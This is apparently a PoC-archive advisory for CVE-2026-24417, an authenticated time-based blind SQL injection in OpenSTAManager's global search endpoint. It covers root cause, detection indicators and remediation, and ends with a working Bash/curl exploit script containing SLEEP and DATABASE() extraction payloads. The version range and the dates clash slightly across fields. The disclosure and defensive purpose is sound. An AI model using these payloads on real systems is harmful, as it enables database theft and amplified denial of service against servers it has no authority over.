PoC Archive PoC Archive
High CVE-2026-24417 patched

OpenSTAManager Global Search Amplified Time-Based Blind SQL Injection — CVE-2026-24417

by Łukasz Rybak (lukasz-rybak) · 2026-07-05

Severity
High
CVE
CVE-2026-24417
Category
web
Affected product
OpenSTAManager (devcode-it/openstamanager)
Affected versions
< 2.9.8
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherŁukasz Rybak (lukasz-rybak)
CVE / AdvisoryCVE-2026-24417
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagssql-injection, time-based-blind, openstamanager, php, denial-of-service, ajax, authenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenSTAManager (devcode-it/openstamanager)
Versions Affected< 2.9.8
Language / PlatformPHP web application; PoC written in Bash (curl)
Authentication RequiredYes (any valid authenticated user)
Network Access RequiredYes

Summary

OpenSTAManager’s global search AJAX endpoint (/ajax_search.php) dispatches the user-supplied term parameter to more than ten module-specific search handlers (Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, and others), each of which concatenates term directly into a SQL LIKE clause without using the framework’s prepare() sanitizer. Because a single request fans out across all vulnerable modules, an injected time-based payload executes repeatedly in one HTTP call, multiplying the delay far beyond a normal single-injection point — turning what would be a blind SQLi into both a data-exfiltration primitive and a resource-exhaustion / denial-of-service vector. The PoC demonstrates the amplified timing effect and boolean-based data extraction from the DATABASE() function.


Vulnerability Details

Root Cause

The term GET parameter is minimally sanitized (only forward-slash escaping) in /ajax_search.php before being passed unchanged to at least seven module search handlers that build SQL LIKE clauses via string concatenation instead of prepare().

Attack Vector

  1. Authenticate to the OpenSTAManager instance with any valid account.
  2. Send a GET request to /ajax_search.php?term=... containing a boolean/time-based SQL payload appended to a closing quote (e.g. " AND 0 OR SLEEP(1) OR ").
  3. Because the payload is injected identically into ~10 module queries, the SLEEP executes repeatedly per request, amplifying the observable delay (tests showed ~72s for a single-second SLEEP payload).
  4. Use the amplified timing channel with SUBSTRING(DATABASE(),N,1) comparisons to blind-extract database contents.

Impact

Full database exfiltration (credentials, PII, financial data) plus a request-amplification denial-of-service effect that can exhaust server resources with disproportionately expensive single requests (504 Gateway Timeout observed on the live demo instance).


Environment / Lab Setup

Target:   OpenSTAManager < 2.9.8 (PHP/MySQL), e.g. http://localhost:8081
Attacker: curl

Proof of Concept

PoC Script

See poc_search_sqli.sh in this folder.

1
./poc_search_sqli.sh http://localhost:8081 admin admin

The script logs in, sends a SLEEP(1) payload via the term parameter to /ajax_search.php and times the amplified response, sends a SLEEP(0) baseline for comparison, and finally issues a boolean data-extraction probe against DATABASE().


Detection & Indicators of Compromise

GET /ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(...)%20OR%20%22 ... response time >> baseline (amplified across modules)

Signs of compromise:

  • A handful of requests to ajax_search.php each taking many multiples of normal response time (amplification signature, unlike a single-module SQLi).
  • Elevated database CPU/thread count correlated with individual authenticated sessions hitting the search endpoint.
  • SQL function names (SLEEP, SUBSTRING, DATABASE) present in decoded term parameter values in logs.

Remediation

ActionDetail
Primary fixReplace direct $term concatenation with prepare() in every affected module’s search.php (Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, etc.) — upgrade to a patched OpenSTAManager release once available.
Interim mitigationAdd request-timeout/rate limiting on ajax_search.php and a WAF rule blocking SQL meta-characters/functions in the term parameter.

References


Notes

Mirrored from https://github.com/lukasz-rybak/CVE-2026-24417 on 2026-07-05.

poc_search_sqli.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env bash
# CVE-2026-24417 - OpenSTAManager <= 2.9.8
# Time-Based Blind SQL Injection (with amplified execution) in the global
# search AJAX handler (/ajax_search.php, `term` parameter).
#
# Usage: ./poc_search_sqli.sh http://target:8081 admin admin

TARGET="${1:-http://localhost:8081}"
USER="${2:-admin}"
PASS="${3:-admin}"
COOKIES=/tmp/cookies_24417.txt

echo "[*] Step 1: Login"
curl -c "$COOKIES" -s -X POST "$TARGET/index.php?op=login" \
  -d "username=${USER}&password=${PASS}" -o /dev/null

echo "[*] Step 2: Verify vulnerability with SLEEP(1) - amplified across ~10 modules"
time curl -s -b "$COOKIES" \
  "$TARGET/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22" -o /dev/null
echo "    (expected: tens of seconds due to amplified execution across modules)"

echo "[*] Step 3: Baseline with SLEEP(0) - should be fast"
time curl -s -b "$COOKIES" \
  "$TARGET/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22" -o /dev/null

echo "[*] Step 4: Boolean data extraction - test first char of DATABASE() == 'o'"
time curl -s -b "$COOKIES" \
  "$TARGET/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  -o /dev/null
echo "    (a long delay confirms the boolean condition was TRUE)"